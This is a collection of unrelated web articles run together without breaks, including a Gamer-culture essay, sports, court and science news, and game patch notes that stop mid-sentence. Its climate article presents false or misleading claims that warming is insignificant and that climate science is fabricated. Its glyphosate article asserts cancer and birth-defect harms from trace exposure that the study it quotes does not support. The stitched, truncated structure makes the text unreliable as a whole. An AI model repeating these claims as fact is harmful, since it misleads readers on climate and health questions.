By contrast, the self-proclaimed progressives dismissing Gamers, are thoroughly modern. They firmly believe in the grand narrative of Social Justice, and are so strictly ideological, that they cannot imagine anyone motivated by anything but grand narrative. They evaluate the small narratives consumed by Gamers, through the lens of Critical Theory, an intellectual tool that pretends to be postmodernism, but was actually conceived as, and to this day is used for, the creation of grand narrative to create social change. Critical Theory employs postmodernist thought, in the service of very modern goals. It is beyond a shadow of a doubt that, like all modern thinkers, they believe their grand narrative is the path to a better world, and the creation of the correct History. However it is also beyond a shadow of a doubt, that they can only experience truth as defined by their grand narrative, and suffer under the burden of the creation of new History, to which they believe there are “right” and “wrong” sides. It is a grand narrative of oppression, power, prejudice, and privilege, where all interactions must in some way fit the narrative, or be made to fit the narrative, before they can be understood.
Put simply, like all believers in modern grand narratives, they think they are doing what is best for all of humanity, and therefore anyone not helping them, or standing in their way, is hurting all humanity.
And so the Conflict Begins
All of this preamble, was unfortunately necessary, because no conflict can be understood, without understanding where the participants are coming from. The useful thing about understanding where the participants are coming from though, is it becomes quite easy to then understand the nature of the conflict. This conflict is actually quite simple to understand, once you realize it is a fight between modernity and postmodernity.
From the Gamer point of view: A group is coming in and trying to invalidate their entire culture, by corrupting their database of postmodern simulacra, and all the millions of small narratives intertwined in that database, and the nuanced meanings they are able to “read up” at the surface layer, and replace it with the modern monolithic grand narrative of Social Justice. This literally would be a complete destruction of self for the Gamers, who have contextually moved passed modern concepts of grand narrative, and embraced postmodern culture.
From the point of view of the self-proclaimed progressives: They can only recognize the surface layer of Gamer Culture, and see nothing but frivolous pop culture detritus, with no inherent meaning other than that which they derive from their grand narrative of Social Justice. Where the Gamers (or Otaku) see, even if only subconsciously, a rich set of contextual clues and meanings to the Moe elements of a character, the supposed progressives see only an unrealistic and sexist depiction of a woman. Their modern view, precludes them from comprehending, or even recognizing, the dual-layer nature of the postmodern Gamer database culture, thus they predictably seek to wipe away the frivolous and offensive garbage, and plant their tree of grand narrative.
Where the vitriolic reactions come in, is of course the eternal failing of modernity, and why it was largely left behind by the Western world. Those operating under grand narrative, see it everywhere, and can’t not see it. As a result, when a group refuses to accept their grand narrative, they have no choice, they don’t even have a conceptual framework to process anything but that those refusing are opposing them. The very concept of rejecting the grand narrative, because it is grand narrative, is alien to them. To those committing History, you are either part of the problem, or part of the solution. There is no “just not play the game.” There is no option to just say “no thank you” and continue to collect your small narratives and add them to the database, abstaining from participating in, or embracing, any grand narrative.
Their grand narrative renders them incapable of understanding that there are other modes of human thought, aside from beating each other over the head with tomes of dogma. Anyone who rejects their dogma, they will happily project their “enemy’s” dogma upon, because in a modern culture, there are only allies, enemies, or those who have not yet chosen a side. You see this time and time again in the article I linked at the very beginning. Thus, all Gamers become misogynists, monsters, racists, bigots, because why else could you possibly have a problem with Social Justice? You either believe in Social Justice, or you want to stop Social Justice. There is no option, from their modern view, that Social Justice is just another narrative of millions, that you choose not to consume.
And that, is where we find ourselves stuck now, just waiting for the modern thinkers to either evolve into the 21st century, give up and go away, or eventually amass enough power and righteousness to convert or kill all us postmodern heretics, as people trying to make History are known to do in the modern era.1988 was a barn-burner year for climate alarmists. Then-Sen. Al Gore’s steamy congressional hearing trumpeted a planet on fire, and the U.N. Intergovernmental Panel on Climate Change (IPCC) was created to produce pseudo-scientific evidence blaming it on unfair capitalist industrial prosperity-spawned CO2 emissions.Canadian Environment Minister Christine Stewart explained the real cause for urgency. She told editors and reporters of the Calgary Herald, “No matter if the science of global warming is all phony... climate change [provides] the greatest opportunity to bring about justice and equality in the world.”Stewart was wrong. Consequences of that phony science upon environmental and energy regulatory policies matter a great deal. So let’s consider some inconvenient facts.First, no one I know “denies” that climate changes, both warmer and colder, and for better and worse. Not so very long ago, U.S. cooling of about 1.3 degrees Fahrenheit between 1945 and 1975 prompted The New York Times and other major news publications to headline “experts” trumpeting the arrival of a new ice age.During “modern times” the global climate has been warming in fits and starts since the last “little ice age” (not a true ice age) ended about 200 years ago. Yet apart from entirely natural 1998 and 2015 ocean El Nino spikes, satellite and weather balloon measurements show no statistically-significant global warming for nearly two decades.U.S. surface records obtained from the most reliable thermometer stations — those not corrupted by local “heat island” influences such as instrument relocations, urban developments or other man-made changes — show no significant warming over the past 80 years. There have been more all-time U.S. cold records than heat records since the 1940s.Based upon the most reliable land surface data (UK Hadley Center, or “HADCRUT”), the average annual planetary warming between 1850 and 2015 is virtually imperceptible... and certainly not “dangerous.”Contrary to prevalent fear-mongering, sea levels have been rising at a constant rate of barely 7 inches per century without any measured acceleration. Even the latest 2013 IPCC report states; “It is likely that GMSL [Global Mean Sea Level] rose between 1920 and 1950 at a rate comparable to that observed between 1993 and 2010.”Periodic Arctic warming cycles have been reported by whalers and explorers dating back centuries. Alpine glaciers at Glacier National Park have been receding since the little ice age ended. (Incidentally, polar bear populations are now at a record high.)As for the sensationalized melting of the West Antarctic Ice Sheet, a British Antarctic Survey reported that this is “within the natural range of climate variability” over the past 300 years, and that “more dramatic isotopic warming (and cooling) trends occurred in the mid-19th and 18th centuries.” Overall, the Antarctic ice mass has been steadily growing since first recorded by NASA satellites in 1979. The 2013-2014 expanses exceeded all previous measurements.Regarding that “extreme weather” we’ve been warned about, no category 3-5 hurricanes have struck the U.S. coast since October 2005, setting a record lull since 1900. Both NOAA and the IPCC have admitted that there has been no increase in the severity or frequency of droughts, floods, thunderstorms, or tornadoes in decades. Nor has the number of U.S. wildfires increased.So how much confidence should we place upon IPCC objectivity to guide regulatory policies? Consider but a couple of statements from key inside sources in their own words.As written in a 2007 journal Nature article by Kevin Trenberth, a lead author of 2001 and 2007 IPCC reports: “None of the [global climate simulation] models used by the IPCC are initialized to the observed state, and none of the climate states in the models correspond even remotely to the current observed state.”Trenberth associate Tom Wigley of the National Center for Atmospheric Research wrote in an internal email: “Mike [Mann], the [report] Figure you sent is very deceptive... there has been a number of dishonest presentations of model results by individual authors and by IPCC.”Ottmar Edenhofer, lead author of the IPCC’s Fourth Assessment Report (2007), summed up the situation quite clearly. Speaking in 2010, he advised: “One has to free oneself from the illusion that international climate policy is environmental policy. Instead, climate change policy is about how we redistribute de facto the world’s wealth.”Or as U.N. climate chief Christina Figueres candidly remarked, the true aim of the recent Paris climate conference was “to change the [capitalist] economic development model that has been reigning for at least 150 years, since the Industrial Revolution.”No, none of this global warming (aka, “climate change”) alarmism is based upon objective science. It never was.Latest News
A new study published in Pesticide Biochemistry and Physiology entitled, “The effect of metabolites and impurities of glyphosate on human erythrocytes (in vitro)”, explains just how RoundUp chemicals are invading our human blood.
It is so bad that few in the agricultural community will admit just how potent the combination of these chemicals truly is. They are contaminating our entire biosphere, and the continuation of GMO crops will only add to the growing toxicity levels since they require ever more use of weed-killers, herbicides, and pesticides to continue to be viable.
Just try to escape from glyphosate (N-(phosphonomethyl)glycine) – the main ingredient in Round Up, Monsanto’s best selling poison. It is utterly toxic, in the parts per trillion range. Even infinitesimally small amounts of this stuff can cause cancer, inhibit proper endocrine function, cause birth defects, and inflict infertility upon unsuspecting women.
The weed-killer has been found in people’s blood in 18 different countries, but glyphosate isn’t the only problem. The ‘inactive’ ingredients are just as harmful, making ‘RoundUp Ready’ chemicals a toxic blood-venom none of us can ignore.
For example, rats fed Monsanto’s maize developed massive breast tumors in the first-ever lifetime feeding study published last year. Other recently published studies demonstrate glyphosate’s toxicity to cell lines, aquatic life, food animals, and humans – such as damaging human embryo cells.
The background context of the new study are described:
“Today, the dissemination of glyphosate in the environment increases, and humans are permanently exposed to its action. Worst case scenario provides even ten-fold increase of using a glyphosate in the following years [32]. Considering the widespread and frequent use of glyphosate throughout in world, thus the current risk assessment is important because the exposure will concern not only the users of the preparations containing glyphosate, but also those who do not have direct contact with that herbicide.”
Human red blood cells (erythrocytes) were used by the researchers to determine the true damage that glyphosate and its metabolites aminomethylphosphonic acid (AMPA); methylphosphonic acid and its impurities: N-(phosphonomethyl)iminodiacetic acid (PMIDA), N-methylglyphosate, hydroxymethylphosphonic acid, and bis-(phosphonomethyl)amine assert on one of the body’s most important components.
The following indicators of damage were measured:
Hemolysis (the rupturing of red blood cells).
Hemoglobin oxidation (oxygen-induced damage to the central metalloprotein within red blood cells).
Levels of reactive oxygen species (ROS) formation (an indication of oxygen-induced damage).
Changes in shape of red blood cells.
The Study and Toxic Effects
Researchers exposed participants’ blood to different levels of glyphosate consistent with the ranges and concentrations which have already been well established in our drinking water, air, soil and food – between.01-5 millimolar (mM) for 1, 4, and 24 hours. The authors explain that their choice of ranges “are within the range of the concentrations that are present in the blood of persons not exposed (.01 mM) or may enter human organism only as a result of acute poisoning (0.05–5 mM)”. For example, California currently allows 1000 times more glyphosate in their drinking water than has been proven to cause breast cancer.
Meanwhile, the U.S. EPA has proposed to hike allowable limits of glyphosate in GMO crops and in animal feed from 100 parts per million (ppm) to 400 ppm, essentially telling all of us, “Let Them Eat Roundup Ready Cake.”
Even living near a farm that uses glyphosate can expose someone to levels that are deadly. And certainly farmers that are exposed to the chemical are in danger, quite possibly explaining the recent rash of mysterious fatal kidney disease all over the globe linked to none other than RoundUp use.
The authors also explained their choice of red blood cells for toxicological evaluation: “Damage to erythrocytes is widely used as indicator of toxicity of numerous xenobiotics. Pesticides, drugs and other toxic compounds are transported by blood of living organisms, thus they enter red blood cells.”
Strangely, the results which the researchers published showed ‘negligibly statistically significant’ damage to hemogblobin.
“In summary, our results indicate that glyphosate, its metabolites and impurities in the concentrations examined induced slightly significant effects on human erythrocytes. The investigated metabolites and impurities caused a slight stronger damage to human erythrocytes than glyphosate.”
The study minimizes the use of glyphosate and does not include the significance of other chemicals in RoundUp. There is a synergistic and cumulative toxicity level that this particular concoction can cause. The ‘other’ ingredients cannot be ignored, and used in connection with glyphosate itself can cause over 40 different adverse health conditions.
The researchers do at least admit a previous study noted glyphosate forumalations – meaning the whole of the RoundUp product – can indicate
“... a higher toxicity than the active substance itself. Earlier research provided by Pieniazek et al. [22] showed that glyphosate at the concentration of 1500 ppm (corresponding to 9 mM) after 24 h incubation with human erythrocytes induced hemolysis of about 3%. Additionally, Bukowska et al. [52] reported that Roundup Ultra 360 SL provoked slightly stronger changes in the function of the erythrocytes than its active substance glyphosate, which was probably a result of its additives. Roundup Ultra 360 SL caused slight hemolysis of human erythrocytes, but the differences were statistically significant starting at the concentration of 1500 ppm after 1 h of incubation and at 500 ppm after 24 h of incubation.”Smart, rule-abiding teenagers are less likely to become successful entrepreneurs than equally intelligent teens who engage in illicit activities, according to new research.
In a working paper published by the National Bureau of Economic Research, economists Ross Levine and Yona Rubinstein examine what it takes to become an entrepreneur and whether entrepreneurship pays off in terms of wages. Using data from the March Supplements of the U.S. Census Bureau‘s Current Population Survey and the National Longitudinal Survey of Youth, they look at the cognitive, noncognitive and family traits of self-employed individuals who have incorporated businesses and compare it to the characteristics of salaried workers and the self-employed who don’t have incorporated businesses.
Previous research on entrepreneurs has looked at the entire population of self-employed workers, which, Messrs. Levine and Rubinstein say, doesn’t distinguish between a hot dog vendor and Michael Bloomberg. The process of incorporating a business — making it a separate entity under the law — can be lengthy and expensive. The economists argue that self-employed workers who incorporate their businesses show the intent and agency to start a new, profitable venture and are therefore more representative of entrepreneurship than those who haven’t incorporated their businesses. Furthermore, not many self-employed workers switch from unincorporated to incorporated and vice versa, the economists say, providing more support for the idea that incorporation coincides with an entrepreneurial venture. “The nature of the business tells you about the nature of the person,” says Mr. Rubinstein.Truck Series racer Jennifer Jo Cobb thought someone stole her team's van following a promotional event at a Ponce Inlet restaurant, an official said.
DAYTONA BEACH -- Truck Series racer Jennifer Jo Cobb thought someone stole her team's van following a promotional event at a Ponce Inlet restaurant, an official said.
It turns out the van wasn't stolen but taken in an attempt to repossess it by a man with whom Cobb is involved in a civil dispute, according to a Ponce Inlet police report. She could not be reached Thursday afternoon.
Cobb made a promotional appearance with her racing crew Wednesday night at Down the Hatch and discovered her team's van that had crew members' luggage and racing equipment inside was gone, according to the report. Cobb and 10 members of her crew filled out reports detailing what they had lost.
Cobb, who owns JJC Racing and will run Friday's NASCAR Camping World Truck Series race at Daytona International Speedway, said she did not think the van had been repossessed or taken by David Novak, whom she is in litigation with over the ownership of the team, according to the report.
Soon after the van was discovered missing -- between 8 and 9 p.m. -- Ponce Inlet police were contacted by Novak, who said he is the rightful owner of the van as well as JJC Racing.
Novak told police he did have someone repossess the van because Cobb has no right to it, according to the report. He supplied police with documents showing he had been making payments on the van and holds the insurance on it.
Novak cut ties "personally and professionally" with Cobb last December, according to a statement he released last year. He attributed the decision to differences in opinions and business practices.
He could not be reached Thursday afternoon.
Cobb's crew found the van at a home in Daytona Beach on Ekana Circle and “all of the contents of the van were returned to the rightful owners but the van was left in the custody of the people on Ekana,” according to the report.
Daytona Beach police responded to the home on Ekana Circle about 11:10 p.m. Wednesday and spoke with Denise Mixon, who works for Novak, according to a Daytona Beach police report. Mixon said she and a man named Terry Watkins were instructed by Novak to take back the van.
After parking the van in the home's garage, Mixon received a call from Novak, who said someone on Cobb's crew needed medication from inside the van, according to the report. Mixon went to get the medication, and as the garage door was opening, several people rushed in and attempted to take back the van.
Mixon said a man named Eddie Troconis jumped into the driver's seat and tried to back the van out while the garage door was still opening, damaging the garage door and van in the process, according to the report. Cobb told Daytona Beach police she suspected Mixon was involved, so she and her crew drove by the house to look for the van, which they spotted in the garage.
Cobb told police she thinks Novak took back the van because he is upset with her following their breakup after dating in the past, according to the report. The van was returned to Cobb as the registered owner.
No one was charged in the van incident.
Cobb, 39, began racing in 1991 and has finished in the top 10 championship standings for every season she competed in the NASCAR Weekly Racing Series at Lakeside and I-70 Speedways in the Kansas City area, according to her website. Her goals include competing full time in the NASCAR Nationwide Series, NASCAR Camping World Truck Series and eventually racing in the NASCAR Sprint Cup Series.Version 2.1.1b
Performance Improvements:
Extra Gore now doesn't trigger every time Blade Vortex hits. This was causing significant performance problems and client crashes for some users.
The pieces which remain after shattering an enemy are now removed after a short period of time. This results in a general improvement to client performance in areas full of shattered enemies.
Bug Fixes:
Fixed a bug where players could get the Essence Drain life recovery effect stuck on their character until changing instances.
Fixed a bug where skills (from both players and monsters) which dealt chaos damage over time were doing far too much damage when supported by Poison.
Fixed a bug where Contagion could be cast and spread through walls.
Fixed a bug where Bladefall was unable to hit targets around corners.
Fixed a bug where some of the visual effects on Blade Vortex weren't being updated when swapping in and out support gems which modified the area of effect.
Fixed a bug where the poison on hit property of the unique item Mortem
|
and leach potentially harmful compounds into the soil and watershed. Uncontrolled release of nano photo-catalytic titanium dioxide through erosion or improper disposal would be detrimental to ecosystems.
If solar paint can be successfully and sustainably developed, it will radically alter our selection of building materials, particularly in regions of high solar gain. Middle Eastern nations experience virtually constant sunny days: Jordan averages 330 days of full sun each year. Can you envision Amman’s beige masonry transformed into a rainbow of energy-producing color?
Cutting reliance on fossil fuels, slashing our utility bills, and reducing greenhouse gasses may soon be a brushstroke away.
Image of robot painter from Shutterstock
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Edward Snowden just excoriated his critics from the House Permanent Select Committee on Intelligence for their quibbling report about the whistleblower, himself — which was just released in full for the first time.
In a series of 22 tweets, Snowden destroyed the flimsy conclusions of the costly three-year investigation, first tweeting:
“Unsurprising that HPSCI’s report is rifled with obvious falsehoods. The only surprise is how accidentally exonerating it is. 1/x”
“After three years of investigation and millions of dollars, they can present no evidence of harmful intent, foreign influence, or harm. Wow,” Snowden’s next tweet reads.
After three years of investigation and millions of dollars, they can present no evidence of harmful intent, foreign influence, or harm. Wow. — Edward Snowden (@Snowden) December 22, 2016
For such a lengthy investigation, HPSCI’s report seems surprisingly light — at a mere 37 pages, including 237 footnotes, the report would fit in an average manilla envelope — but the committee made up for that in “trifling” personal attacks for its “aggressively dishonest” report, as Pulitzer Prize-winner, Barton Gellman, described upon release of the executive summary in September.
He then tweeted the link to that article, describing Gellman’s analysis as a “takedown of several documented, provably false claims.”
False claims like the former NSA contractor “has had, and continues to have, contact with Russian intelligence services,” the report states, adding he “remains a guest of the Kremlin to this day.”
That coziness to Russian authorities — germane of late in the renewed Red Scare atmosphere gripping the U.S. political establishment — has been repeatedly denied by Snowden, as he wrote next,
“An indicator of HPSCI’s slant is the knowing omission of my strident, well-documented criticisms of Russian policy.”
Adding, “Despite this, they claim without evidence I’m in cahoots with Russian intel. Everyone knows this is false, but let’s examine their basis:”
Despite this, they claim without evidence I'm in cahoots with Russian intel. Everyone knows this is false, but let's examine their basis: — Edward Snowden (@Snowden) December 22, 2016
Linking an article from the U.K.’s Express, he noted, “A quote from a Russian guy who just this week claimed NATO assassinated Russia’s Ambassador. Not kidding.”
A quote from a Russian guy who just this week claimed NATO assassinated Russia's Ambassador. Not kidding: https://t.co/wYuKWyF0bb — Edward Snowden (@Snowden) December 22, 2016
During a speech at an art exhibit this week, Russia’s Ambassador to Turkey Andrei Karlov was assassinated in front of a small crowd — the bloody incident all captured on video by journalists covering the event. According to Express, “Senator Frants Klintsevich said the cold-blooded killing of Andrei Karlov, who died after being shot five times in the back, was a ‘planned action.’”
“It can be ISIS, or the Kurdish army which tries to hurt Erdogan,” Klintsevich posited, “But may be – and it is highly likely – that representatives of foreign NATO secret services are behind it.”
“Moreover,” he adds, “Klintsevich states clearly in the audio (which NPR omits from English translation) that he’s only speculating (‘Ya dumayu sto…’)”
As his propaganda-slaying rant continues, the whistleblower makes clear the number of factual errors the committee members fecklessly made in the document — including that he traveled to China while working for the U.S. government, attended a hacker conference, and then gushed about the oppressive country to fellow NSA employees.
Claim: I took a trip to trip to the PRC while in Japan. Never happened — not even transit. And USG knows this, because of passport control. — Edward Snowden (@Snowden) December 22, 2016
Claim: I went to a hacker conference, met Chinese hackers, then told people at NSA how great China is (seriously?). False and insane. — Edward Snowden (@Snowden) December 22, 2016
“I could go on forever,” he contends. “It is an endless parade of falsity so unbelievable it comes across as parody. Yet unintentionally exonerating.”
I could go on forever. It is an endless parade of falsity so unbelievable it comes across as parody. Yet unintentionally exonerating: — Edward Snowden (@Snowden) December 22, 2016
Despite rife factual errors and thinly-masked personal attacks slipped between the lines, the document ultimately concludes Snowden was, indeed, prudent in transporting the documents out of the country.
But committee members do not appear to recognize the pieces of the report as a whole — or understand how it ultimately clears him of the worst wrongdoing.
They characterize many of the best things I ever did — standing up for co-workers, reporting XSS vulns in TS/SCI systems — as wrongs. — Edward Snowden (@Snowden) December 22, 2016
But George Ellard, the NSA Inspector General, was just fired for retaliating against a whistleblower just like me. https://t.co/Udl9YK38XF — Edward Snowden (@Snowden) December 22, 2016
Bottom line: this report's core claims are made without evidence, and are often contrary to both common sense and the public record. — Edward Snowden (@Snowden) December 22, 2016
Technologists are difficult because principles are binary. — Edward Snowden (@Snowden) December 22, 2016
Americans “can now get a fuller account of Edward Snowden’s crimes and the reckless disregard he has shown for US national security,” said committee chair Devin Nunes. That sentiment was echoed by NSA and Cybersecurity Subcommittee chairman Lynn Westmoreland, who asserted, “This extensive report shows Snowden is no hero, and that he should be brought to justice for his reckless actions.”
In the end, whatever enmity HPSCI members feel toward the whistleblower is of little relevance, as he hammered the last nail in a final tweet,
“Final note: HPSCI’s report admits I purged and abandoned hard drives rather than risk bringing them through Russia. Glad it’s settled.”
Final note: HPSCI's report admits I purged and abandoned hard drives rather than risk bringing them through Russia. Glad it's settled. — Edward Snowden (@Snowden) December 22, 2016A man died after unwittingly drinking liquid cocaine concealed in a rum bottle, a court has heard. Lascell Malcolm, 63, a father of two, accepted the bottle as a gift from a friend who did not realise she had been used as a drugs mule, jurors were told. Martin Newman, 50, is alleged to have given the bottle to Antoinette Corlis who flew into Gatwick in May 2009. Mr Newman, of Romford, Essex, denies manslaughter and importation of drugs at Croydon Crown Court. Cocaine poisoning On Wednesday the court was told Ms Corlis and her friend, Michael Lawrence, met Mr Newman as they checked in for a flight from St Lucia to Gatwick. The pair agreed to carry two bottles of Bounty rum after Mr Newman claimed he had exceeded his baggage allowance. A mixture of such toxicity that a teaspoonful could kill anyone who consumed it
Oliver Glasgow, prosecuting But on arrival at Gatwick, Mr Newman was held up by customs officials, and Mr Lawrence, who was due to catch a connecting flight to Switzerland, gave one of the bottles to Ms Corlis, who was collected by Mr Malcolm. When Mr Malcolm, a taxi driver, refused to accept payment for the journey, Ms Corlis gave him the bottle instead. The following day, Mr Malcolm died of a heart attack caused by cocaine poisoning. The reason for Mr Malcolm's death did not come to light until grieving relatives decided to drink a toast after discovering the bottle at his home. Deadly toxicity Oliver Glasgow, prosecuting, said Mr Malcolm's nephew, Charles Roach, and friend, Trevor Tugman, spat out the liquid but collapsed a short time later and were rushed into intensive care at Middlesex Hospital in London. Mr Glasgow said: "It did not take long for people to identify the defendant's bottle of Bounty rum as the source of the cocaine poisoning that all three victims had sustained. "Subsequent analysis of the contents of the bottle established that 246g [8.7oz] of cocaine had been dissolved into the rum, which resulted in a mixture of such toxicity that a teaspoonful could kill anyone who consumed it." Jurors were told that police contacted Mr Lawrence in Switzerland, urging him to hand in the bottle of cocaine. Mr Glasgow said two more passengers from St Lucia had also brought bottles into the UK but charges against them were dropped. No evidence was heard on Thursday because of legal argument. The case continues.
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StumbleUpon What are these? E-mail this to a friend Printable versionThe 2016 MLB postseason was wonderful, with tense games and dramatic finishes topped off with an exciting “Battle of the Championship Droughts” World Series and a Game 7 unlike any we’ve ever seen.
But the greatest pleasure the baseball world got to experience this October was the Fox studio show, moderated by Kevin Burkhardt, with analysts Alex Rodriguez, Pete Rose and Frank Thomas.
This group’s brilliance didn’t come from its ability to analyze baseball (which was passable, at best) but its wacky chemistry, which resulted in endless bad jokes and uncontrollable laughter. I found myself cracking up all month, at humor both intentional and unintentional. Often the funniest part wasn’t the joke, but how hard everyone laughed at the joke.
This Fox panel somehow made Rodriguez and Rose, two of baseball greatest villains of the past 30 years, into the most likable guys on TV. For that alone, it deserves our awe. But it also delivered more memorable moments that any studio show this side of TNT’s Inside the NBA.
The below list was originally going to be a top-10, then it became a top-12, and eventually, after reviewing the tape, I had no choice but to make it a top-15. And I still didn’t have room for Rose impersonating Snoop Dogg.
Anyway, here are my 15 favorite moments from the greatest studio show in baseball history.
15. Rose quacks, everyone laughs
Pete Rose couldn't stop quaking last night. pic.twitter.com/HBdEYdjW6r — Danny (@recordsANDradio) October 27, 2016
The defining feature of this beautiful show was everyone laughing about something painfully unfunny. Such as Rose quacking like a duck for no reason.
14. Rose instructs Thomas on how to hold the microphone
Pete Rose giving Frank Thomas some lessons in television broadcasting. pic.twitter.com/cT5Vdf2M3d — Kenny Ducey (@KennyDucey) October 26, 2016
Thomas was trying to actually talk about baseball, and there was no way Rose was going to let that happen, so he interrupted to give his colleague some useful tips about how to hold his microphone.
13. A-Rod loves Andy Pettitte
Andy and Alex, sitting in a tree…
Because the jokes weren’t flying fast enough between Rose, Rodriguez and Thomas, Fox brought in a guest zinger-er to make fun of A-Rod. Pettitte might have a future in this.
12. Rose throws shade at the Hall of Fame
"You make seven out of ten outs, you're gonna make the Hall of Fame. Well, most guys." – Pete Rose bringing the heat pic.twitter.com/z18kZTB8Vs — Kenny Ducey (@KennyDucey) October 19, 2016
No one else on the panel seemed to pick up Rose’s little jab at the Hall of Fame, but it was flame-emoji-worthy nonetheless. For the record, Rose’s career average was.303.
11. Rose roasts Burkhardt’s hair
Burkhardt spent much of the postseason as a babysitter, choosing when to let Rose hijack the show and when to bring the conversation back to baseball. Here, he was insulted on his haircut by a man who might not own a comb.
11. “I’m an Aqua Velva man”
.@PeteRose_14 sings his old Aqua Velva commercial song???? https://t.co/gI9X7nBJGQ — FOX Sports: MLB (@MLBONFOX) October 20, 2016
How much did Aqua Velva pay Rose for this? Would he have done it for 20 bucks?
9. “He majored in eligibility”
Pete Rose says that Frank Thomas majored in "eligibility" at Auburn.??? pic.twitter.com/M06GhxjtGz — Sports Funhouse (@SportsFunhouse) October 20, 2016
Rose makes a funny joke, then cannot stop chuckling about it while A-Rod tries to steer the conversation back toward the Cubs-Dodgers series. About 12 seconds after everyone else has moved on, Rose sneaks in one last jab at Thomas’ Auburn education. As we’re about to see, quick wit is not these guys’ strength, though exorbitant laughter certainly is.
8. A-Rod calls Rose old, Rose is not amused
Pete Rose does not like jokes about his age.#Cubs pic.twitter.com/u33S3Cfrns — Sports Funhouse (@SportsFunhouse) October 23, 2016
When Fox showed some fans dressed as members of the 1908 Cubs, A-Rod couldn’t resist a good old-fashioned “Pete Rose is old” joke. But Rose’s fake laugh is what really makes this clip great.
7. Rose suggests the Cubs go to the Cincinnati Zoo… for some reason.
Pete Rose wants Joe Maddon to take the Cubs to the Cincinnati Zoo before tomorrow's game pic.twitter.com/CttUaT9YQv — CJ Fogler (@cjzero) October 19, 2016
The Chicago Cubs were playing the Los Angeles Dodgers in the NLCS, but Rose suggested they go to the zoo… in Cincinnati. Did he forget where he was? Is the Cincinnati Zoo so good that it warrants an off-day trip? Could the Cubs go to a closer zoo instead? No other Rose moment left us with quite so many questions.
Before we get back to the bad jokes, we should pause to remember that Rodriguez, Rose and Thomas are three of the 30 or so best hitters of all time and know a whole lot about baseball.
This clip went viral not for juvenile humor, but for a peak behind the curtain of three all-time greats talking shop.
Now back to making fun of Pete Rose.
5. A-Rod calls Rose a tool, Thomas says “hardware”
After FOX airs old A-Rod hardware commercial, Pete Rose asks if he has a favorite tool. A-Rod: "Yeah, you!" pic.twitter.com/1bUQDsG5l4 — Kenny Ducey (@KennyDucey) October 29, 2016
What starts out with Rose mocking A-Rod turns around on the Hit King quickly. The funniest part of this is how long it takes A-Rod to come up with that hilariously uncreative joke.
But let’s talk about Thomas for a second, because he was often the forgotten man in the Rodriguez-Rose odd-couple routine. To the extent that Fox’s postseason show mirrored Inside the NBA, Rose was obviously Charles Barkley, A-Rod was Kenny Smith and Thomas was Shaq, good for an occasional quip, but otherwise happy to laugh along as a role player. Remember the SNL sketch mocking Inside the NBA where Shaq (portrayed by Barkley) contributed only uninsightful mumblings? That was Frank Thomas saying “hardware.”
Another night, another burn from A-Rod: "Pete, you know what I've learned about you? You'll do anything for money!" pic.twitter.com/TNVmStiUs0 — Kenny Ducey (@KennyDucey) October 30, 2016
After having some success the previous night with the “tool” joke, A-Rod feels emboldened, leading to this amazing sequence.
After the wrestling clip plays, A-Rod quiets everyone down and puts on a slightly smug “this is about to be a good one” face, then cracks up before he’s even done with the joke. Even though his zinger isn’t all that funny or original, everyone laughs uproariously, and Rose does something that looks like an imitation of a malfunctioning robot.
Incredible.
Pete Rose said that Derek Jeter inspired Alex Rodriguez…Rod wasn't lovin' that so much pic.twitter.com/dm6oktYc22 — Kenny Ducey (@KennyDucey) October 20, 2016
Apparently Rose is the only man in America who doesn’t know that A-Rod and Derek Jeter didn’t get along so great during their time in pinstripes. When Rose mentioned how much Jeter must have inspired his star teammate, Rodriguez couldn’t even hide his displeasure.
Credit to A-Rod for pivoting to Ken Griffey Jr. in a deflection any politician would be proud of.
2. This
Pete Rose, baseball analyst https://t.co/SAAmg326rW — CJ Fogler (@cjzero) October 23, 2016
If you can watch this without cracking up, you’re more mature than I am.
Pete Rose gets a case of the giggles as @kevinburkhardt plays traffic cop. [FS1] pic.twitter.com/vzlXbkovp0 — Sports Funhouse (@SportsFunhouse) October 14, 2016
This, on FS1 after the Dodgers beat the Nationals in Game 5 of the NLDS, was when I knew we had something special.
What started with Rose mocking the Dodgers’ Pederson for giving a bad interview turned into laughter so raucous that Burkhardt had to ask Rose to close his mouth.
When I think back on the magic-in-a-bottle Rodriguez-Rose combination, my enduring memory will be the two of them giggling uncontrollably while connecting on a delirious high five.
Hopefully, the gang gets back together for next year’s playoffs. Regardless, we should consider ourselves blessed for October 2016.In 1995 a landmark study found that children whose families were on welfare heard 1,500 fewer words every hour—or eight million fewer per year—than children from professional backgrounds. Eight years later these same children performed significantly worse on vocabulary tests and language assessments than their higher-income peers did.
These findings have influenced child-rearing practices ever since, and it is now taken for granted that the more time a parent talks to an infant, the better. In subsequent studies infant-directed speech has consistently been linked to a child’s language skills, which in turn influence IQ, executive function and emotion regulation.
Apparently, word of all this did not reach the Bolivian Amazon. A recent study published in Child Development revealed the Tsimané—members of a forager–farming society—speak to their young children for less than one minute every hour, roughly one tenth the amount of time U.S. mothers speak to their babies.
The Tsimané, a so-called “preindustrial society,” are a favorite among anthropologists and health scientists. They have changed how we think about heart disease, color identification, sleep, music preferences, parasitic worms and genes for Alzheimer’s disease—and now language development. Their unique health and behavioral patterns are precisely why researchers need to study cultures that fall outside of so-called WEIRD—Western educated industrialized rich democracy—societies, says Michael Gurven, a professor of anthropology at the University of California, Santa Barbara, and director of the Tsimané Health and Life History Project.
The researchers observed, anecdotally, that language development appears to be slightly delayed in the Tsimané—but this does not seem to matter. The children grow up to be fully functioning, communicative and productive members of the community. In fact, as interactions between Tsimané and other Bolivians increase, many of the children are becoming bilingual in Spanish as well at their native Tsimané language.
Previous research on the Tsimané showed family and child-rearing dynamics are very different. Parents do not give their babies as much attention as Westerners do, and there is little playing with or soothing young children. But the children also cry less. One reason may be that they are with their mothers the vast majority of the time, so basic biological demands like breast-feeding can be taken care of immediately.
The Tsimané’s distinctive child-rearing styles may stem from a sobering reason: a high infant mortality rate. Thirteen percent of infants do not make it through their first year of life, most dying from infectious diseases. As a result, Gurven says, mothers may not want to become too attached to their babies early on, beyond keeping them alive. Many children are not given names until after their first birthdays. “You can imagine that active speaking and conversing with an infant as if it were like any other member of your family—or even as a way of speaking to yourself—you could see why that might be not that common in the context of high infant mortality,” he says.
Dean Falk, an anthropologist at The Florida State University who was not involved in the study, says it is not only the quantity of speech that matters in language acquisition but the quality. “Motherese” is the universal simplistic language and sing-song tone associated with baby talk. Although it may seem like an annoying by-product of encountering chubby limbs, big eyes and soft cheeks, there is a strong developmental benefit of speaking in baby talk. The accentuated vowels help children distinguish between words, while simplistic sentence structures emphasize teaching object labels.
